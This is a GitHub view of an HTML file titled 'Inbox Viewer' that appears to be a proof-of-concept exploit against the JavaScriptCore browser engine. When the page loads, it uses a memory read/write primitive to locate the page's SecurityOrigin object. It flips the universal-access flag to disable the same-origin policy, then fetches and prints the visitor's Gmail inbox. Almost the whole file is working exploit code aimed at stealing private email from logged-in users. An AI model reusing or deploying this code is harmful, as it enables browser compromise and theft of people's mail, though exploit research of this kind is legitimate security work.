-
Notifications
You must be signed in to change notification settings - Fork 37
/
email.html
75 lines (58 loc) · 2.29 KB
/
email.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: monospace;
}
</style>
<script src="utils.js"></script>
<script src="int64.js"></script>
<script src="pwn.js"></script>
<script>
function print(msg) {
document.body.innerText += msg + '\n';
}
// Disables the same-origin policy for this renderer process and subsequently
// fetches and displays the users gmail inbox if a gmail session exists.
function fetchMail() {
if (!isVulnerable()) {
print("[-] JSC version not vulnerable. Aborting");
return;
}
// Setup the memory read/write primitive.
pwn();
var jsxhr = new XMLHttpRequest();
var jsxhrAddr = addrof(jsxhr);
print("[*] JSXMLHttpRequest instance @ " + jsxhrAddr.toString());
var xhrAddr = memory.readInt64(Add(jsxhrAddr, 0x20));
print("[*] XMLHttpRequest instance @ " + xhrAddr.toString());
var scriptExecContextAddr = memory.readInt64(Add(xhrAddr, 0x60));
print("[*] ScriptExecutionContext instance @ " + scriptExecContextAddr.toString());
var securityOriginPolicyAddr = memory.readInt64(Add(scriptExecContextAddr, 0x10));
print("[*] SecurityOriginPolicy instance @ " + securityOriginPolicyAddr.toString());
var securityOriginAddr = memory.readInt64(Add(securityOriginPolicyAddr, 8));
print("[*] SecurityOrigin instance @ " + securityOriginAddr.toString());
// So there's this boolean called m_universalAccess.. ;)
memory.write(Add(securityOriginAddr, 0x2b), [1]);
print('------------------------------');
jsxhr.open('GET', 'https://mail.google.com/mail/u/0/#inbox', false);
jsxhr.send();
var response = jsxhr.responseText;
var startIndex = response.indexOf('var VIEW_DATA=');
var endIndex = response.indexOf('</scri', startIndex);
if (startIndex === -1 || endIndex === -1) {
print("Failed to extract data :(");
print(response);
}
var content = response.slice(startIndex, endIndex);
print("Not gonna parse the Gmail response, find your inbox in the dump...");
print(content);
}
window.onload = fetchMail;
</script>
<title>Inbox Viewer</title>
</head>
<body>
</body>
</html>